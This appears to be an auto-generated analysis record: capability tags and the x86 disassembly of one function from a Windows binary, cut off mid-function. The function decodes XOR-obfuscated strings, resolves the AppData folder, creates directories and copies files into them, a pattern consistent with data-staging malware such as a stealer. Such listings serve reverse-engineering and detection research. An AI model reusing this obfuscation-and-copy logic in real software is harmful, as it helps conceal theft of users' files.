Function at 0x453690
Capabilities:
Copy file
Create directory
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x527d60
push eax
mov eax, 0x1c88
mov dword fs:[0], esp
call fcn.004fbe50
push ebx
xor ebx, ebx
mov dword [ebp - 0x18], ebx
mov al, byte [0x55aac7]
mov byte [ebp - 0x20], al
mov al, byte [0x55aac8]
push esi
mov byte [ebp - 0x10], al
mov al, byte [0x55aab8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0xd], al
cmp byte [0x55aac6], bl
je 0x453c1c
xorps xmm0, xmm0
mov dword [ebp - 0x4d], 0xdaddcedb
movq qword [ebp - 0x49], xmm0
xor ecx, ecx
mov word [ebp - 0x41], bx
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4d], al
inc ecx
cmp ecx, 4
jb 0x453700
lea eax, [ebp - 0x4d]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [ebp - 0x1484]
mov byte [ebp - 0x49], bl
call fcn.00402ab0
lea ecx, [ebp - 0x1484]
mov dword [ebp - 4], 0
call fcn.00402b50
push eax
mov edx, 0x55aafc
lea ecx, [ebp - 0x758]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x1484]
mov byte [ebp - 4], 2
call fcn.00402a10
push 0
lea ecx, [ebp - 0x758]
call fcn.00402b50
push eax
call edi
test eax, eax
je 0x453c07
movaps xmm0, xmmword [0x547ed0]
xor ecx, ecx
mov byte [ebp - 0xe], 0
mov dword [ebp - 0x3ac], 0xe6e0cedb
movups xmmword [ebp - 0x3a8], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x3ac], al
inc ecx
cmp ecx, 0xa
jb 0x453791
lea eax, [ebp - 0x3ac]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [ebp - 0x149c]
mov byte [ebp - 0x3a2], 0
call fcn.00402ab0
lea ecx, [ebp - 0x149c]
mov byte [ebp - 4], 3
call fcn.00402b50
push eax
lea edx, [ebp - 0x758]
lea ecx, [ebp - 0x8b4]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x149c]
mov byte [ebp - 4], 5
call fcn.00402a10
push 0
lea ecx, [ebp - 0x8b4]
call fcn.00402b50
push eax
call edi
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x45394e
push 0x104
lea eax, [ebp - 0x1b88]
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
lea eax, [ebp - 0x1b88]
push eax
push 0
push 0
push 0x1a
push 0
call esi
movaps xmm0, xmmword [0x547ed0]
xor ecx, ecx
mov dword [ebp - 0x320], 0xe6e0cedb
movups xmmword [ebp - 0x31c], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x320], al
inc ecx
cmp ecx, 0xa
jb 0x453853
lea eax, [ebp - 0x320]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [ebp - 0x14b4]
mov byte [ebp - 0x316], 0
call fcn.00402ab0
lea ecx, [ebp - 0x14b4]
mov byte [ebp - 4], 6
call fcn.00402b50
push eax
lea ecx, [ebp - 0x1884]
call fcn.00402ab0
push eax
lea edx, [ebp - 0x1b88]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xc5c]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x1884]
call fcn.00402a10
lea ecx, [ebp - 0x14b4]
mov byte [ebp - 4], 0xa
call fcn.00402a10
lea ecx, [ebp - 0xc5c]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x45392d
sub esp, 0x18
mov byte [ebp - 0xf], 0
lea eax, [ebp - 0x8b4]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0xc5c]
mov ecx, esp
push eax
call fcn.00483010
mov cl, byte [ebp - 0xf]
mov byte [ebp - 4], 0xa
call fcn.00412090
add esp, 0x30
test eax, eax
jne 0x45392d
mov byte [ebp - 0xe], 1
jmp 0x45393f
push 0
mov dl, 1
lea ecx, [ebp - 0x8b4]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xc5c]
mov byte [ebp - 4], 5
call fcn.00402a10
movaps xmm0, xmmword [0x547a60]
xor ecx, ecx
mov dword [ebp - 0x12a], 0xfee6dcdb
mov dword [ebp - 0x126], 0xe1cee0ea
mov byte [ebp - 0x122], 0xe2
movups xmmword [ebp - 0x121], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x12a], al
inc ecx
cmp ecx, 0xf
jb 0x453980
lea eax, [ebp - 0x12a]
mov dword [0x55d558], ecx
push eax
lea ecx, [ebp - 0x14cc]
mov byte [ebp - 0x11b], 0
call fcn.00402ab0
lea ecx, [ebp - 0x14cc]
mov byte [ebp - 4], 0xc
call fcn.00402b50
push eax
lea edx, [ebp - 0x758]
lea ecx, [ebp - 0x89c]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x14cc]
mov byte [ebp - 4], 0xe
call fcn.00402a10
push 0
lea ecx, [ebp - 0x89c]
call fcn.00402b50
push eax
call edi
test eax, eax
je 0x453bd9
push 0x104
lea eax, [ebp - 0x1c90]
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
lea eax, [ebp - 0x1c90]
push eax
push 0
push 0
push 0x1a
push 0
call esi
movaps xmm0, xmmword [0x5496a0]
xor ecx, ecx
movups xmmword [ebp - 0x42e], xmm0
mov dword [ebp - 0x41e], 0xf3f7f1b9
xorps xmm0, xmm0
mov word [ebp - 0x412], 0
movq qword [ebp - 0x41a], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x42e], al
inc ecx
cmp ecx, 0x14
jb 0x453a50
lea eax, [ebp - 0x42e]
mov dword [0x55d540], ecx
push eax
lea ecx, [ebp - 0x14e4]
mov byte [ebp - 0x41a], 0
call fcn.00402ab0
lea ecx, [ebp - 0x14e4]
mov byte [ebp - 4], 0xf
call fcn.00402b50
push eax
lea ecx, [ebp - 0x189c]
call fcn.00402ab0
push eax
lea edx, [ebp - 0x1c90]
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xc44]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x189c]
call fcn.00402a10
lea ecx, [ebp - 0x14e4]
mov byte [ebp - 4], 0x13
call fcn.00402a10
sub esp, 0x18
lea ecx, [ebp - 0xc44]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
call fcn.0040da60
add esp, 0x18
test al, al
je 0x453bb8
movaps xmm0, xmmword [0x548330]
xor ecx, ecx
mov dword [ebp - 0x25c], 0xf2eaffdb
mov word [ebp - 0x258], 0xead4
movups xmmword [ebp - 0x256], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x25c], al
inc ecx
cmp ecx, 0xc
jb 0x453b20
lea eax, [ebp - 0x25c]
mov dword [0x55d528], ecx
push eax
lea ecx, [ebp - 0x14fc]
mov byte [ebp - 0x250], 0
call fcn.00402ab0
lea ecx, [ebp - 0x14fc]
mov byte [ebp - 4], 0x14
call fcn.00402b50
push eax
lea edx, [ebp - 0x89c]
lea ecx, [ebp - 0x18b4]
call fcn.00486d20
add esp, 4
mov ecx, eax
call fcn.00402b50
lea ecx, [ebp - 0xc44]
mov esi, eax
call fcn.00402b50
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x18b4]
mov esi, eax
call fcn.00402a10
lea ecx, [ebp - 0x14fc]
mov byte [ebp - 4], 0x13
call fcn.00402a10
test esi, esi
je 0x453bb8
mov byte [ebp - 0xe], 1
jmp 0x453bca
push 0
mov dl, 1
lea ecx, [ebp - 0x89c]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xc44]
mov byte [ebp - 4], 0xe
call fcn.00402a10
cmp byte [ebp - 0xe], 0
jne 0x453bf1
push 0
mov dl, 1
lea ecx, [ebp - 0x758]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0x89c]
call fcn.00402a10
lea ecx, [ebp - 0x8b4]
call fcn.00402a10
lea ecx, [ebp - 0x758]
mov dword [ebp - 4], 0xffffffff
call fcn.00402a10
mov al, byte [ebp - 0xd]
test al, al
je 0x455cf7
movaps xmm0, xmmword [0x548560]
xor ecx, ecx
movups xmmword [ebp - 0x651], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x651], al
inc ecx
cmp ecx, 6
jb 0x453c34
lea eax, [ebp - 0x651]
mov dword [0x55d548], ecx
push eax
lea ecx, [ebp - 0x1514]
mov byte [ebp - 0x64b], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1514]
mov dword [ebp - 4], 0x15
call fcn.00402b50
push eax
mov edx, 0x55aafc
lea ecx, [ebp - 0x30c]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x1514]
mov byte [ebp - 4], 0x17
call fcn.00402a10
push 0
lea ecx, [ebp - 0x30c]
call fcn.00402b50
push eax
call edi
test eax, eax
je 0x455ce5
movaps xmm0, xmmword [0x547ee0]
xor ecx, ecx
mov byte [ebp - 0xd], 0
mov dword [ebp - 0x334], 0xe5fbcfdb
movups xmmword [ebp - 0x330], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x334], al
inc ecx
cmp ecx, 0xa
jb 0x453cd0
lea eax, [ebp - 0x334]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [ebp - 0x152c]
mov byte [ebp - 0x32a], 0
call fcn.00402ab0
lea ecx, [ebp - 0x152c]
mov byte [ebp - 4], 0x18
call fcn.00402b50
push eax
lea edx, [ebp - 0x30c]
lea ecx, [ebp - 0x944]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x152c]
mov byte [ebp - 4], 0x1a
call fcn.00402a10
push 0
lea ecx, [ebp - 0x944]
call fcn.00402b50
push eax
call edi
test eax, eax
je 0x453f79
movaps xmm0, xmmword [0x5489d0]
xor ecx, ecx
movups xmmword [ebp - 0x58e], xmm0
mov word [ebp - 0x57e], 0xf9f3
xorps xmm0, xmm0
mov byte [ebp - 0x57c], 0xed
movq qword [ebp - 0x57b], xmm0
mov word [ebp - 0x573], 0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x58e], al
inc ecx
cmp ecx, 0x13
jb 0x453d80
lea eax, [ebp - 0x58e]
mov dword [0x55d5a8], ecx
push eax
lea ecx, [ebp - 0x155c]
mov byte [ebp - 0x57b], 0
call fcn.00402ab0
lea ecx, [ebp - 0x155c]
mov byte [ebp - 4], 0x1b
call fcn.00402b50
push eax
lea ecx, [ebp - 0x18cc]
call fcn.00402ab0
mov esi, eax
mov byte [ebp - 4], 0x1c
xor ecx, ecx
movaps xmm0, xmmword [0x5471c0]
mov dword [ebp - 0x272], 0xcbcac7cb
mov word [ebp - 0x26e], 0xcdc7
movups xmmword [ebp - 0x26c], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x272], al
inc ecx
cmp ecx, 0xc
jb 0x453df4
lea eax, [ebp - 0x272]
mov dword [0x55d528], ecx
push eax
lea ecx, [ebp - 0x1544]
mov byte [ebp - 0x266], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1544]
mov byte [ebp - 4], 0x1d
call fcn.00402b50
push eax
call fcn.00509aff
add esp, 4
lea ecx, [ebp - 0xbb4]
mov edx, eax
push esi
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x1544]
call fcn.00402a10
lea ecx, [ebp - 0x18cc]
call fcn.00402a10
lea ecx, [ebp - 0x155c]
mov byte [ebp - 4], 0x21
call fcn.00402a10
sub esp, 0x18
lea ecx, [ebp - 0xbb4]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
call fcn.0040da60
add esp, 0x18
test al, al
je 0x453f58
movaps xmm0, xmmword [0x5482e0]
xor ecx, ecx
mov word [ebp - 0x3bf], 0xfbdb
mov byte [ebp - 0x3bd], 0xe8
movups xmmword [ebp - 0x3bc], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x3bf], al
inc ecx
cmp ecx, 9
jb 0x453ec0
lea eax, [ebp - 0x3bf]
mov dword [0x55d630], ecx
push eax
lea ecx, [ebp - 0x1574]
mov byte [ebp - 0x3b6], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1574]
mov byte [ebp - 4], 0x22
call fcn.00402b50
push eax
lea edx, [ebp - 0x944]
lea ecx, [ebp - 0x18e4]
call fcn.00486d20
add esp, 4
mov ecx, eax
call fcn.00402b50
lea ecx, [ebp - 0xbb4]
mov esi, eax
call fcn.00402b50
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x18e4]
mov esi, eax
call fcn.00402a10
lea ecx, [ebp - 0x1574]
mov byte [ebp - 4], 0x21
call fcn.00402a10
test esi, esi
je 0x453f58
mov byte [ebp - 0xd], 1
jmp 0x453f6a
push 0
mov dl, 1
lea ecx, [ebp - 0x944]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xbb4]
mov byte [ebp - 4], 0x1a
call fcn.00402a10
movaps xmm0, xmmword [0x547830]
xor ecx, ecx
mov dword [ebp - 0x348], 0xe4e0c5db
movups xmmword [ebp - 0x344], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x348], al
inc ecx
cmp ecx, 0xa
jb 0x453f93
lea eax, [ebp - 0x348]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [ebp - 0x158c]
mov byte [ebp - 0x33e], 0
call fcn.00402ab0
lea ecx, [ebp - 0x158c]
mov byte [ebp - 4], 0x23
call fcn.00402b50
push eax
lea edx, [ebp - 0x30c]
lea ecx, [ebp - 0x6b4]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x158c]
mov byte [ebp - 4], 0x25
call fcn.00402a10
push 0
lea ecx, [ebp - 0x6b4]
call fcn.00402b50
push eax
call edi
test eax, eax
je 0x454695
movaps xmm0, xmmword [0x549d00]
xor ecx, ecx
movups xmmword [ebp - 0x7be], xmm0
mov byte [ebp - 0xe], 0
movaps xmm0, xmmword [0x549270]
movups xmmword [ebp - 0x7ae], xmm0
mov word [ebp - 0x79e], 0xc6c8
xorps xmm0, xmm0
mov word [ebp - 0x794], 0
movq qword [ebp - 0x79c], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x7be], al
inc ecx
cmp ecx, 0x22
jb 0x454050
lea eax, [ebp - 0x7be]
mov dword [0x55d52c], ecx
push eax
lea ecx, [ebp - 0x15bc]
mov byte [ebp - 0x79c], 0
call fcn.00402ab0
lea ecx, [ebp - 0x15bc]
mov byte [ebp - 4], 0x26
call fcn.00402b50
push eax
lea ecx, [ebp - 0x18fc]
call fcn.00402ab0
mov esi, eax
mov byte [ebp - 4], 0x27
xor ecx, ecx
movaps xmm0, xmmword [0x547080]
mov byte [ebp - 0x51c], 0xc6
movups xmmword [ebp - 0x51b], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x51c], al
inc ecx
cmp ecx, 7
jb 0x4540c0
lea eax, [ebp - 0x51c]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x15a4]
mov byte [ebp - 0x515], 0
call fcn.00402ab0
lea ecx, [ebp - 0x15a4]
mov byte [ebp - 4], 0x28
call fcn.00402b50
push eax
call fcn.00509aff
add esp, 4
lea ecx, [ebp - 0xb6c]
mov edx, eax
push esi
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x15a4]
call fcn.00402a10
lea ecx, [ebp - 0x18fc]
call fcn.00402a10
lea ecx, [ebp - 0x15bc]
mov byte [ebp - 4], 0x2c
call fcn.00402a10
sub esp, 0x18
lea ecx, [ebp - 0xb6c]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
call fcn.0040da60
add esp, 0x18
test al, al
je 0x45422a
movaps xmm0, xmmword [0x549d30]
xor ecx, ecx
movups xmmword [ebp - 0x82c], xmm0
mov byte [ebp - 0x81c], 0xe3
movaps xmm0, xmmword [0x547fa0]
movups xmmword [ebp - 0x81b], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x82c], al
inc ecx
cmp ecx, 0x17
jb 0x454190
lea eax, [ebp - 0x82c]
mov dword [0x55d5bc], ecx
push eax
lea ecx, [ebp - 0x15d4]
mov byte [ebp - 0x815], 0
call fcn.00402ab0
lea ecx, [ebp - 0x15d4]
mov byte [ebp - 4], 0x2d
call fcn.00402b50
push eax
lea edx, [ebp - 0x6b4]
lea ecx, [ebp - 0x1914]
call fcn.00486d20
add esp, 4
mov ecx, eax
call fcn.00402b50
lea ecx, [ebp - 0xb6c]
mov esi, eax
call fcn.00402b50
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1914]
mov esi, eax
call fcn.00402a10
lea ecx, [ebp - 0x15d4]
mov byte [ebp - 4], 0x2c
call fcn.00402a10
test esi, esi
je 0x45422a
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
movaps xmm0, xmmword [0x549d00]
xor ecx, ecx
movups xmmword [ebp - 0xaa9], xmm0
mov word [ebp - 0xa89], 0xc9ce
movaps xmm0, xmmword [0x549190]
movups xmmword [ebp - 0xa99], xmm0
movaps xmm0, xmmword [0x546f40]
movups xmmword [ebp - 0xa87], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xaa9], al
inc ecx
cmp ecx, 0x28
jb 0x454260
lea eax, [ebp - 0xaa9]
mov dword [0x55d584], ecx
push eax
lea ecx, [ebp - 0x1604]
mov byte [ebp - 0xa81], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1604]
mov byte [ebp - 4], 0x2e
call fcn.00402b50
push eax
lea ecx, [ebp - 0x192c]
call fcn.00402ab0
mov esi, eax
mov byte [ebp - 4], 0x2f
xor ecx, ecx
movaps xmm0, xmmword [0x547080]
mov byte [ebp - 0x52d], 0xc6
movups xmmword [ebp - 0x52c], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x52d], al
inc ecx
cmp ecx, 7
jb 0x4542d0
lea eax, [ebp - 0x52d]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x15ec]
mov byte [ebp - 0x526], 0
call fcn.00402ab0
lea ecx, [ebp - 0x15ec]
mov byte [ebp - 4], 0x30
call fcn.00402b50
push eax
call fcn.00509aff
add esp, 4
lea ecx, [ebp - 0xb84]
mov edx, eax
push esi
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x15ec]
call fcn.00402a10
lea ecx, [ebp - 0x192c]
call fcn.00402a10
lea ecx, [ebp - 0x1604]
mov byte [ebp - 4], 0x34
call fcn.00402a10
sub esp, 0x18
lea ecx, [ebp - 0xb84]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
call fcn.0040da60
add esp, 0x18
test al, al
je 0x45444a
movaps xmm0, xmmword [0x5495d0]
xor ecx, ecx
movups xmmword [ebp - 0x60b], xmm0
mov dword [ebp - 0x5fb], 0xf4fcfcf2
movaps xmm0, xmmword [0x5470b0]
mov word [ebp - 0x5f7], 0xf5ef
mov byte [ebp - 0x5f5], 0xfc
movups xmmword [ebp - 0x5f4], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x60b], al
inc ecx
cmp ecx, 0x1d
jb 0x4543b0
lea eax, [ebp - 0x60b]
mov dword [0x55d5c4], ecx
push eax
lea ecx, [ebp - 0x161c]
mov byte [ebp - 0x5ee], 0
call fcn.00402ab0
lea ecx, [ebp - 0x161c]
mov byte [ebp - 4], 0x35
call fcn.00402b50
push eax
lea edx, [ebp - 0x6b4]
lea ecx, [ebp - 0x1944]
call fcn.00486d20
add esp, 4
mov ecx, eax
call fcn.00402b50
lea ecx, [ebp - 0xb84]
mov esi, eax
call fcn.00402b50
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1944]
mov esi, eax
call fcn.00402a10
lea ecx, [ebp - 0x161c]
mov byte [ebp - 4], 0x34
call fcn.00402a10
test esi, esi
je 0x45444a
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
movaps xmm0, xmmword [0x549d00]
xor ecx, ecx
movups xmmword [ebp - 0x7ea], xmm0
mov word [ebp - 0x7ca], 0xc6c8
movaps xmm0, xmmword [0x549260]
movups xmmword [ebp - 0x7da], xmm0
mov word [ebp - 0x7c0], 0
xorps xmm0, xmm0
movq qword [ebp - 0x7c8], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x7ea], al
inc ecx
cmp ecx, 0x22
jb 0x454485
lea eax, [ebp - 0x7ea]
mov dword [0x55d52c], ecx
push eax
lea ecx, [ebp - 0x164c]
mov byte [ebp - 0x7c8], 0
call fcn.00402ab0
lea ecx, [ebp - 0x164c]
mov byte [ebp - 4], 0x36
call fcn.00402b50
push eax
lea ecx, [ebp - 0x195c]
call fcn.00402ab0
mov esi, eax
mov byte [ebp - 4], 0x37
xor ecx, ecx
movaps xmm0, xmmword [0x547080]
mov byte [ebp - 0x53e], 0xc6
movups xmmword [ebp - 0x53d], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x53e], al
inc ecx
cmp ecx, 7
jb 0x4544f0
lea eax, [ebp - 0x53e]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x1634]
mov byte [ebp - 0x537], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1634]
mov byte [ebp - 4], 0x38
call fcn.00402b50
push eax
call fcn.00509aff
add esp, 4
lea ecx, [ebp - 0xb9c]
mov edx, eax
push esi
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x1634]
call fcn.00402a10
lea ecx, [ebp - 0x195c]
call fcn.00402a10
lea ecx, [ebp - 0x164c]
mov byte [ebp - 4], 0x3c
call fcn.00402a10
sub esp, 0x18
lea ecx, [ebp - 0xb9c]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
call fcn.0040da60
add esp, 0x18
test al, al
je 0x454658
movaps xmm0, xmmword [0x549f60]
xor ecx, ecx
movups xmmword [ebp - 0x84d], xmm0
mov byte [ebp - 0x83d], 0xf2
movaps xmm0, xmmword [0x547fa0]
movups xmmword [ebp - 0x83c], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x84d], al
inc ecx
cmp ecx, 0x17
jb 0x4545c0
lea eax, [ebp - 0x84d]
mov dword [0x55d5bc], ecx
push eax
lea ecx, [ebp - 0x1664]
mov byte [ebp - 0x836], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1664]
mov byte [ebp - 4], 0x3d
call fcn.00402b50
push eax
lea edx, [ebp - 0x6b4]
lea ecx, [ebp - 0x1974]
call fcn.00486d20
add esp, 4
mov ecx, eax
call fcn.00402b50
lea ecx, [ebp - 0xb9c]
mov esi, eax
call fcn.00402b50
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1974]
mov esi, eax
call fcn.00402a10
lea ecx, [ebp - 0x1664]
mov byte [ebp - 4], 0x3c
call fcn.00402a10
test esi, esi
je 0x454658
mov byte [ebp - 0xd], 1
jmp 0x454670
cmp byte [ebp - 0xe], 0
jne 0x454670
push 0
mov dl, 1
lea ecx, [ebp - 0x6b4]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xb9c]
call fcn.00402a10
lea ecx, [ebp - 0xb84]
call fcn.00402a10
lea ecx, [ebp - 0xb6c]
mov byte [ebp - 4], 0x25
call fcn.00402a10
movaps xmm0, xmmword [0x5475f0]
xor ecx, ecx
mov dword [ebp - 0x35c], 0xebc5dcdb
movups xmmword [ebp - 0x358], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x35c], al
inc ecx
cmp ecx, 0xa
jb 0x4546b0
lea eax, [ebp - 0x35c]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [ebp - 0xd1c]
mov byte [ebp - 0x352], 0
call fcn.00402ab0
lea ecx, [ebp - 0xd1c]
mov byte [ebp - 4], 0x3e
call fcn.00402b50
push eax
lea edx, [ebp - 0x30c]
lea ecx, [ebp - 0x92c]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xd1c]
mov byte [ebp - 4], 0x40
call fcn.00402a10
push 0
lea ecx, [ebp - 0x92c]
call fcn.00402b50
push eax
call edi
test eax, eax
je 0x454959
movaps xmm0, xmmword [0x548f50]
xor ecx, ecx
movups xmmword [ebp - 0x16a4], xmm0
movaps xmm0, xmmword [0x5491c0]
movups xmmword [ebp - 0x1694], xmm0
movaps xmm0, xmmword [0x549200]
movups xmmword [ebp - 0x1684], xmm0
movaps xmm0, xmmword [0x547180]
movups xmmword [ebp - 0x1674], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x16a4], al
inc ecx
cmp ecx, 0x36
jb 0x454765
lea eax, [ebp - 0x16a4]
mov dword [0x55d5b0], ecx
push eax
lea ecx, [ebp - 0xd4c]
mov byte [ebp - 0x166e], 0
call fcn.00402ab0
lea ecx, [ebp - 0xd4c]
mov byte [ebp - 4], 0x41
call fcn.00402b50
push eax
lea ecx, [ebp - 0x198c]
call fcn.00402ab0
mov esi, eax
mov byte [ebp - 4], 0x42
xor ecx, ecx
movaps xmm0, xmmword [0x547080]
mov byte [ebp - 0x54f], 0xc6
movups xmmword [ebp - 0x54e], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x54f], al
inc ecx
cmp ecx, 7
jb 0x4547d0
lea eax, [ebp - 0x54f]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0xd34]
mov byte [ebp - 0x548], 0
call fcn.00402ab0
lea ecx, [ebp - 0xd34]
mov byte [ebp - 4], 0x43
call fcn.00402b50
push eax
call fcn.00509aff
add esp, 4
lea ecx, [ebp - 0xb54]
mov edx, eax
push esi
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0xd34]
call fcn.00402a10
lea ecx, [ebp - 0x198c]
call fcn.00402a10
lea ecx, [ebp - 0xd4c]
mov byte [ebp - 4], 0x47
call fcn.00402a10
sub esp, 0x18
lea ecx, [ebp - 0xb54]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
call fcn.0040da60
add esp, 0x18
test al, al
je 0x454938
movaps xmm0, xmmword [0x54a180]
xor ecx, ecx
movups xmmword [ebp - 0x792], xmm0
mov word [ebp - 0x782], 0xfdfb
movaps xmm0, xmmword [0x547e90]
movups xmmword [ebp - 0x780], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x792], al
inc ecx
cmp ecx, 0x18
jb 0x4548a0
lea eax, [ebp - 0x792]
mov dword [0x55d570], ecx
push eax
lea ecx, [ebp - 0xd64]
mov byte [ebp - 0x77a], 0
call fcn.00402ab0
lea ecx, [ebp - 0xd64]
mov byte [ebp - 4], 0x48
call fcn.00402b50
push eax
lea edx, [ebp - 0x92c]
lea ecx, [ebp - 0x19a4]
call fcn.00486d20
add esp, 4
mov ecx, eax
call fcn.00402b50
lea ecx, [ebp - 0xb54]
mov esi, eax
call fcn.00402b50
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x19a4]
mov esi, eax
call fcn.00402a10
lea ecx, [ebp - 0xd64]
mov byte [ebp - 4], 0x47
call fcn.00402a10
test esi, esi
je 0x454938
mov byte [ebp - 0xd], 1
jmp 0x45494a
push 0
mov dl, 1
lea ecx, [ebp - 0x92c]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xb54]
mov byte [ebp - 4], 0x40
call fcn.00402a10
movaps xmm0, xmmword [0x547430]
xor ecx, ecx
mov dword [ebp - 0x1d4], 0xebeccedb
mov dword [ebp - 0x1d0], 0xfce8e4ff
movups xmmword [ebp - 0x1cc], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x1d4], al
inc ecx
cmp ecx, 0xe
jb 0x454980
lea eax, [ebp - 0x1d4]
mov dword [0x55d524], ecx
push eax
lea ecx, [ebp - 0xd7c]
mov byte [ebp - 0x1c6], 0
call fcn.00402ab0
lea ecx, [ebp - 0xd7c]
mov byte [ebp - 4], 0x49
call fcn.00402b50
push eax
lea edx, [ebp - 0x30c]
lea ecx, [ebp - 0x914]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xd7c]
mov byte [ebp - 4], 0x4b
call fcn.00402a10
push 0
lea ecx, [ebp - 0x914]
call fcn.00402b50
push eax
call edi
test eax, eax
je 0x454c19
movaps xmm0, xmmword [0x549d20]
xor ecx, ecx
movups xmmword [ebp - 0x80b], xmm0
mov byte [ebp - 0x7fb], 0xe3
movaps xmm0, xmmword [0x547fa0]
movups xmmword [ebp - 0x7fa], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x80b], al
inc ecx
cmp ecx, 0x17
jb 0x454a20
lea eax, [ebp - 0x80b]
mov dword [0x55d5bc], ecx
push eax
lea ecx, [ebp - 0xdac]
mov byte [ebp - 0x7f4], 0
call fcn.00402ab0
lea ecx, [ebp - 0xdac]
mov byte [ebp - 4], 0x4c
